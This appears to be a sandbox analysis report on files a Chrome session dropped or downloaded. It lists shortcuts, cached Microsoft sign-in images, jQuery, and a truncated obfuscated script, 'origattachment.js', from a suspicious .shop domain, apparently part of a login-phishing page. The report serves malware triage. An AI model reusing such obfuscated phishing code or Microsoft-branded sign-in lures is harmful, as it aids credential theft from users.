Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 19:09:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.97795381917455
Encrypted:	false
SSDEEP:	48:8FBdMTwEqHM0idAKZdA19ehwiZUklqehSy+3:8mnQFy
MD5:	8FFA2AAEF9EA1D7401C2600846675987
SHA1:	B59C756DC82D57A238599B50305E28616F0E6ABE
SHA-256:	3C6AC9113614F342FC77B588B22530CB4A206CB0603064E8D59778B7B6A55DED
SHA-512:	C944EA5A6451F6440D17729EAADAD3FE06FE0FAF99AAEA342089CE08A27399E01189323CA6F7DD5674ED3EED1F3EBFE8BCB042E044A2E93ADE217BD32B9126CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....~y.P&..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 19:09:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9941058583069506
Encrypted:	false
SSDEEP:	48:8BBdMTwEqHM0idAKZdA1weh/iZUkAQkqeh1y+2:8anq9QQy
MD5:	7D836E30AAE519170F8A1E10C13F4F33
SHA1:	58CE0A967716F1F3EFDD09DA870F80C47C0345F5
SHA-256:	6A0BEFC62856BDDC3238A8FFE32916AEE9C122E002C77BA9FADB491EF2F73A9B
SHA-512:	77931CEAD5365A6FF0FF4223DF7C94DB96AFCE966C9B0AE6B20C37C653A308A07EBCB5E29458A279D7B82D7D166E787FD63809EA209D565D81207269943A8946
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....}.n.P&..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.008195020852845
Encrypted:	false
SSDEEP:	48:8x9dMTwEsHM0idAKZdA14tseh7sFiZUkmgqeh7sry+BX:8x8nQnxy
MD5:	B966402450F49A4E9E311FDC176F175C
SHA1:	E6F54A2A20784D82D0B7504F1A1DB837DE88BBC2
SHA-256:	1A096FF7FB541736829A614B26AF3547AEBA85069F4FC94D17C4EC635858B675
SHA-512:	AC5A1E61739EB700AE4BFD4739C3F7E8DB56112E339CF0B3057E9739360B9F85980668316F9FE51793C7B9E4A48E2CD7433A7A2A32B562C62747EA3ABA10E4FD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 19:09:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992276508266719
Encrypted:	false
SSDEEP:	48:8OMBdMTwEqHM0idAKZdA1vehDiZUkwqehJy+R:8gnxjy
MD5:	9C5CC610415A58115454BEC5768E543D
SHA1:	54620AF0C501F54FF302CE2CBB0F02C934F2FB1A
SHA-256:	EA3C9F3E403782E55960B37AB480C54D5EB5F83639838221176D2DE3B3FF6F27
SHA-512:	5F6199242FF9398DFDF99DCDA7EC6774B7614E6B081A69C0E9D049F9A90A3D1F784D5863E86B949C7691B7183F7555BD072F1C5F182C6E91E678CC30C6E0254B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......i.P&..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 19:09:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981275203522137
Encrypted:	false
SSDEEP:	48:8MBdMTwEqHM0idAKZdA1hehBiZUk1W1qehHy+C:8FnR9ny
MD5:	7F762CEF0B6C808641D34B3760F31325
SHA1:	EFAD07FAFCB9AC94AF30DB47DC4333D4E9EDE0ED
SHA-256:	D61BE5EAA7E379D55696FF942C64DAA14796947656374A567C87AC768508A17A
SHA-512:	101A46A56D9D9AFC7990F3B3786CA0E2FB6900578AD05B31A03436809E11DC669D281B0AC602E6A1740038C21E3E312870CCB5DCBE60A600440F33BEA0A8A4D1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......s.P&..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 24 19:09:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.992910773889359
Encrypted:	false
SSDEEP:	48:8LBdMTwEqHM0idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbxy+yT+:8snNT/TbxWOvTbxy7T
MD5:	957F51FA772B34C017012BD5CF2517E6
SHA1:	F4AB18DDE70F1C9771059892066E96458794CCF0
SHA-256:	8EDE982874AEC0BF957CACF0916E94B4FC613625AE054B471B214DE0520F69D7
SHA-512:	5F0A8F60C1CB57334021C22777D4B4034DADA032383D8655BA0EC16AEFB54977D78B91B98BBFA94FD310E2CD1662C90F199EB389B2DA40B20BD62C43FD5CE64F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......`.P&..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IXY).....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VXY).....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VXY).....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VXY)............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VXY-............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............!l.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24302), with CRLF line terminators
Category:	downloaded
Size (bytes):	37413
Entropy (8bit):	4.725126363794765
Encrypted:	false
SSDEEP:	384:ebob1FUP3yxH/9J6X6D+dezMlGkAtzYxe9oxufENoN:ebob1FWy3J6X6eeyGk1eb
MD5:	3B66D392C9B107FC0F8E49C45B76F097
SHA1:	95A347608F0928D16F6D96962A87F6C914520994
SHA-256:	2EA0CD565E7A2C3F3A104D1F65354C115202FB7C118F5FB4F9C0ABE68B115125
SHA-512:	3B231A4EAC7B43DBD3A593528725C08679CEEA9368DFCA9CD9AAF03FC14AB66DEB890D4593408607726D3C78B57C776759C9BBCDC97B2319E0C9C2D5BE996205
Malicious:	false
URL:	https://annematt.l4r4.shop/origattachment.js
Preview:	var _0x34588b=_0x528f;(function(_0x6f4909,_0x59cfa8){var _0x1dc4e3=_0x528f,_0x582c11=_0x6f4909();while(!![]){try{var _0x32dc8d=-parseInt(_0x1dc4e3(0xf2))/0x1+-parseInt(_0x1dc4e3(0xec))/0x2+parseInt(_0x1dc4e3(0x10b))/0x3(-parseInt(_0x1dc4e3(0xf0))/0x4)+-parseInt(_0x1dc4e3(0x109))/0x5+-parseInt(_0x1dc4e3(0xe7))/0x6(-parseInt(_0x1dc4e3(0xf6))/0x7)+-parseInt(_0x1dc4e3(0x10e))/0x8(parseInt(_0x1dc4e3(0xf1))/0x9)+-parseInt(_0x1dc4e3(0xe9))/0xa(-parseInt(_0x1dc4e3(0xf7))/0xb);if(_0x32dc8d===_0x59cfa8)break;else _0x582c11['push'](_0x582c11['shift']());}catch(_0x1a6a8e){_0x582c11['push'](_0x582c11['shift']());}}}(_0x3b7f,0x1959d),$(document)['on'](_0x34588b(0x104),_0x34588b(0xfb),function(){var _0x3a10b9=_0x34588b;$(_0x3a10b9(0x115))[_0x3a10b9(0xef)]($(this)[_0x3a10b9(0x124)]());}),window[_0x34588b(0xfe)]=function onoff(){var _0x1b43d5=_0x34588b;document[_0x1b43d5(0x117)](_0x1b43d5(0xfa))[_0x1b43d5(0x114)]=function(_0x180e2c){var _0x41887d=_0x1b43d5;_0x180e2c[_0x41887d(0x11c)]==0xd&&checkmyE

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24302), with CRLF line terminators
Category:	dropped
Size (bytes):	37413
Entropy (8bit):	4.725126363794765
Encrypted:	false
SSDEEP:	384:ebob1FUP3yxH/9J6X6D+dezMlGkAtzYxe9oxufENoN:ebob1FWy3J6X6eeyGk1eb
MD5:	3B66D392C9B107FC0F8E49C45B76F097
SHA1:	95A347608F0928D16F6D96962A87F6C914520994
SHA-256:	2EA0CD565E7A2C3F3A104D1F65354C115202FB7C118F5FB4F9C0ABE68B115125
SHA-512:	3B231A4EAC7B43DBD3A593528725C08679CEEA9368DFCA9CD9AAF03FC14AB66DEB890D4593408607726D3C78B57C776759C9BBCDC97B2319E0C9C2D5BE996205
Malicious:	false
